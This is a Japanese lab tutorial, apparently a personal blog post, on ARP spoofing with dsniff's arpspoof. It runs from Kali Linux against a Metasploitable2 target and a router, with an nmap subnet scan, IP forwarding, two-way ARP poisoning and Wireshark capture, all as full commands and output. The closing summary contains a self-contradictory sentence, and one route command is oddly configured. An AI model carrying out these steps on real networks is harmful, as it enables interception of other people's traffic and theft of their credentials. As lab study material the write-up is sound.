- そもそもARPスプーフィングとは何か
- dsniff パッケージのインストール
- arpspoofコマンドの実行
- 自分のネットワーク情報の確認
- 同一ネットワーク内にある標的PCのIPアドレスの確認
- ルーターのIPアドレスの確認
- IPフォワーディングを有効にする
- ARPテーブルの書き換え
- wiresharkコマンドを起動
- MACアドレスの確認
- IPフォワーディングを無効にする
- まとめ
- 参考
そもそもARPスプーフィングとは何か
「ARP」は、IPアドレスからMACアドレスを入手するために使われる仕組みです。
「ARPスプーフィング」とは、IPアドレスとMACアドレスの紐づけを改ざんして、本体届くはずのIPではなく、偽装したIPアドレスへ通信を誘導することです。
ARPスプーフィングをするにはいくつか方法があるみたいですが、今回はarpspoof
コマンドを使用して試してみました。
標的となるサーバーはmetasploitable2
で、各IPアドレスは以下の想定で実験を行います。
ルーター:192.168.28.1
攻撃者PC:192.168.28.3
標的PC:192.168.28.4
dsniff パッケージのインストール
dsniff
とは様々な環境下でパスワードなどを傍受するためのスニッフィング(盗聴)ツール群になります。
この中にarpspoof
も含まれています。
まず、arpspoof
の含まれたdsniff
パッケージをインストールするために下記コマンドを実行します。
┌──(root㉿kali)-[/home/kali] └─# apt install dsniff
arpspoofコマンドの実行
dsniff
パッケージがインストールした後にarpspoof
コマンドを実行するとコマンドの使い方が表示されます。これを参考にコマンドを組み立てて行きます。
┌──(root㉿kali)-[/home/kali] └─# arpspoof Version: 2.4 Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
自分のネットワーク情報の確認
自分のネットワーク情報を確認します。 IPアドレス、MACアドレスそれぞれが下記である事が分かります。
IPアドレス:192.168.28.3
MACアドレス:08:00:27:06:b1:3c
┌──(root㉿kali)-[/home/kali] └─# ifconfig eth0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.28.3 netmask 255.255.255.0 broadcast 192.168.28.255 inet6 fe80::1b11:4e1d:a933:c4ef prefixlen 64 scopeid 0x20<link> ether 08:00:27:06:b1:3c txqueuelen 1000 (イーサネット) RX packets 291 bytes 63409 (61.9 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1231 bytes 91020 (88.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
同一ネットワーク内にある標的PCのIPアドレスの確認
次に標的となるPCのIPアドレスを確認します。
今回は実験なので標的のIPアドレスは事前にわかっていますが、同一ネットワーク内のPCのIPアドレスを調べるにはポートスキャンツールのnmap
を使用して下記コマンドを実行する事で取得する事が出来ます。
┌──(kali㉿kali)-[~] └─$ nmap -F 192.168.28.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-17 14:16 JST Nmap scan report for 192.168.28.3 Host is up (0.00011s latency). All 100 scanned ports on 192.168.28.3 are in ignored states. Not shown: 100 closed tcp ports (conn-refused) Nmap scan report for 192.168.28.4 Host is up (0.0011s latency). Not shown: 82 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 513/tcp open login 514/tcp open shell 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 8009/tcp open ajp13
ルーターのIPアドレスの確認
routeコマンドを実行してCateway(ルーター)のIPアドレスを確認します。
┌──(root㉿kali)-[/home/kali] └─# route add -net 0.0.0.0 netmask 255.255.255.0 gw 192.168.28.1 ┌──(root㉿kali)-[/home/kali] └─# route -n カーネルIP経路テーブル 受信先サイト ゲートウェイ ネットマスク フラグ Metric Ref 使用数 インタフェース 0.0.0.0 192.168.28.1 255.255.255.0 UG 0 0 0 eth0 192.168.28.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
IPフォワーディングを有効にする
IPフォワーディングはあるネットワークから受け取ったパケットを別のネットワークに転送する技術の事です。
IPフォワーディングを有効にするには/proc/sys/net/ipv4/ip_forward
の値を1
にします。
┌──(root㉿kali)-[/home/kali] └─# echo 1 > /proc/sys/net/ipv4/ip_forward ┌──(root㉿kali)-[/home/kali] └─# cat /proc/sys/net/ipv4/ip_forward 1
ARPテーブルの書き換え
ARPテーブルの書き換えの為、arpspoof
を実行します。
2回実行するのは、送信と受信の両方が攻撃者のPCを経由して通信するようにする為、標的PCとルーターに対してそれぞれ実行する為です。
標的PCに偽の情報を送る
標的PCのARPテーブルにあるルーターのMACアドレスを、攻撃者PC(Kali Linux)のMACアドレスに書き換えます。
┌──(root㉿kali)-[~] └─# arpspoof -i eth0 -t 192.168.28.4 192.168.28.1 8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c ・・・延々と出力され続ける
ルーターに偽の情報を送る
ルーターのARPテーブルにある標的PCのMACアドレスを、攻撃者PC(Kali Linux)のMACアドレスに書き換えます。
┌──(root㉿kali)-[/home/kali] └─# arpspoof -i eth0 -t 192.168.28.1 192.168.28.4 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c ・・・延々と出力され続ける
Kali LinuxのMACアドレスを確認する
最初に自分のMACアドレスが08:00:27:06:b1:3c
である事を確認しました。
arpspoof コマンド実行後は192.168.28.4
と192.168.28.1
それぞれのMACアドレスが
08:00:27:06:b1:3c
として応答が帰ってきています。
ARPスプーフィングが成功したと思われます。
ARPスプーフィングの準備が整ったので、標的PCの通信内容が筒抜けになっているはずなので、確認するためにwireshark
を起動します。
wiresharkコマンドを起動
┌──(root㉿kali)-[~] └─# wireshark
MACアドレスの確認
ARPのMACアドレスをwiresharkで確認してみます。
Kali Linux(攻撃端末)のMACアドレスが流れてきている事が分かります。
192.168.28.4
と192.168.28.1
それぞれのMACアドレスが
08:00:27:06:b1:3c
という偽の情報が何度も流れ込んでいるのが確認できます。
IPフォワーディングを無効にする
最後にIPフォワーディングを無効化しておきます。
┌──(root㉿kali)-[/home/kali] └─# echo 0 > /proc/sys/net/ipv4/ip_forward ┌──(root㉿kali)-[/home/kali] └─# cat /proc/sys/net/ipv4/ip_forward 0
まとめ
ARPスプーフィング攻撃をされると、インターネットを経由しないLAN内のネットワークでも盗聴の可能性は発生します。ということはなさそうです。
また、近年ではスプーフィング攻撃は増加傾向にあり、より高度な手法によって攻撃が行われているようです。
ARPスプーフィングに限らず、IPアドレスは簡単に偽装出来てしまうため、
IPのみの認証は行わず、IPとパスワードを組み合わせるなどの工夫が必要になってくるかと思います。
参考
https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96 https://qiita.com/UmedaTakefumi/items/19a0004f1675edf4e5f1 https://eset-info.canon-its.jp/malware_info/special/detail/200116.html